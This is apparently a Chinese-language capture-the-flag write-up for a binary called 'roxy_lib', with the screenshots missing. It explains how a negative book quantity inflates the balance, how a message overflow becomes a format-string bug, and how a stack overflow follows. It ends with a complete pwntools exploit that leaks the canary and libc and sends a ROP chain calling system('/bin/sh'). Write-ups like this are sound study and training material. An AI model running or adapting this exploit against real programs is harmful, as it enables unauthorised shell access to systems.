roxy_lib
.png)
main函数:
.png)
buy_book函数:
.png)
borrow_book函数:
.png)
log_book_and_price函数:
.png)
leave_message函数:
.png)
我们看完代码比较有可能的致命漏洞就是log_book_and_price函数中的printf(&book_list[v1]),那我们要利用这个首先要能控制book_list[0]的内容,我们可以在ida中看到book_list位于.date段0x40E0,上面有message和balance,我们没有看到能向book_list读入的地方,那我们就想能不能利用溢出message(位于0x4080)或balance(位于0x4060)覆盖book_list,而printf("Your balance: %d\n", balance)说明了balance是int类型,所以说不行,而在leave_message中read(0, message, nbytes)不仅说明了message是一个数组,而且我们可以向message写入,我们写入的多少是nbytes,而balance越大nbytes越大,我们计算一下要填充0x60个数据才能到book_list,开始给我们的balance大小是远远不够的,而且没有能直接使我们balance增加的方法,那我们又要找漏洞使balance增大很多,我们看到buy_book函数,它检查的条件是v1 * price_list[book_index] >= balance ,而检查通过的结果是 balance -= v1 * price_list[book_index],这里我们看到v1是int类型,默认是有符号整数,那我们这里v1为负数的话肯定能通过检查,而且balance变成加了,我们就可以把v1(买书的数量)为很小的负数,那我们的balance就会变成很大,那我们现在就能触发格式化字符串漏洞了,过程是这样的:输入很小的负数的买书数量-->balance变成很大-->nbytes变成很大-->可以向message输入过量数据-->message数组溢出覆盖book_list[0]-->我们可以控制book_list[0]的内容-->log_book_and_price函数中的printf(&book_list[0])变成格式化字符串漏洞
那么我们现在有了格式化字符串漏洞,我们可以先看看栈上有哪些东西,这里是在我们触发格式化字符串后的栈的情况:
.png)
我们可以看到这里位置7可以泄露canary,位置11可以泄露libc,位置14是borrower数组,我们又构造rop链的条件了,但是还需要找个溢出点,我们看borrow_book函数for循环里:
v3 = 80 * (i + borrower[0]);
puts("input the book name");
buf[(int)(v3 + read(0, &buf[v3 + 8], 0x50u) - 1) + 8] = 0;
由于正常情况下borrower[0]里面都是0,所以这个分支是向buf[8]读入80字节,而这是完全不够到溢出,但是这里我们可以通过格式化字符串向borrower写入,那我们就能控制read(0, &buf[v3 + 8], 0x50u)让它读入一个合适的大小,我们在ida中可以看到:
那我们就要先输入272个填充字节,到达canary,然后填充canary,填充rbp,覆盖返回地址,如果我们正常的话i最大能到达2(v2=3),这样是向buf[168]读入80字节是明显不够的,那我们只能改变v3了,这里我们就进行1次循环是最简单的,这时v2 = 1,i = 0,v3 = 80 * buf[0],我们把buf[0]写入3这样是向buf[248]读入80字节,足够覆盖返回地址了,我们就覆盖成rop链就行,那我们总结一下这部分的流程:运行我们前面说的变出格式化字符串漏洞,我们先泄露canary和libc(即在把book_list覆盖成%7p%11p)-->我们调用borrow_book函数(这里用buy_book函数也行,不过交互会比较麻烦,borrow_book只用把借书的数量输入为0就能回到菜单),触发log_book_and_price函数,触发格式化字符串泄露-->再次运行变出格式化字符串漏洞的过程(这里就不用改balance了,只用再运行leave_message就行了),重新覆盖book_list向buf[0]写入3-->调用borrow_book函数,触发log_book_and_price函数,v3变成240,我们这时就能利用 read(0, &buf[v3 + 8], 0x50u) 读入我们的rop链然后getshell了
EXP:
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
io = process("./roxy_lib")
io.recvuntil(b"5. exit")
io.sendline(b"1")
io.recvuntil(b"u want to buy")
io.sendline(b"Mushoku Tensei: Isekai Ittara Honki Dasu")
io.recvuntil(b"how many")
io.sendline(b"-9000000")
io.recvuntil(b"5. exit")
io.sendline(b"4")
io.recvuntil(b"how many bytes do u want to leave")
fmt1 = b'%7$p|%11$p|'
content = b"a" * 0x60 + fmt1
io.sendline(str(len(content)).encode())
io.recvuntil(b"leave your message")
io.send(content)
io.recvuntil(b"5. exit")
io.sendline(b"2")
io.recvuntil(b"ow many book do u want to borrow?")
io.sendline(b"0")
io.recvuntil(b"================book list================\n")
leak_data = io.recvuntil(b": Romeo", drop=True)
leaks = leak_data.split(b'|')
canary = int(leaks[0], 16)
libc_leak = int(leaks[1], 16)
log.success(f"Canary: {hex(canary)}")
log.success(f"Libc Leak: {hex(libc_leak)}")
libc = ELF("./libc.so.6")
stdout_add = libc.sym['_IO_2_1_stdout_']
libc_base = libc_leak - stdout_add
log.success(f'libc_base:{hex(libc_base)}')
libc.address = libc_base
system_addr = libc.sym["system"]
binsh_addr = next(libc.search(b"/bin/sh"))
prdi = libc_base + 0x10f78b
ret = libc_base + 0x2882f
log.success(f"system:{hex(system_addr)}")
io.recvuntil(b"5. exit")
io.sendline(b"4")
io.recvuntil(b"how many bytes do u want to leave")
fmt2 = b'%3c%14$hn'
content = b"a" * 0x60 + fmt2
io.sendline(str(len(content)).encode())
io.recvuntil(b"leave your message")
io.send(content)
io.recvuntil(b"5. exit")
io.sendline(b"2")
io.recvuntil(b"ow many book do u want to borrow?")
io.sendline(b"1")
io.recvuntil(b"input the book name")
payload = flat([
'A' * 0x18,
canary,
'A' * 8,
ret,
prdi,
binsh_addr,
system_addr
])
io.send(payload)
io.interactive()题目链接: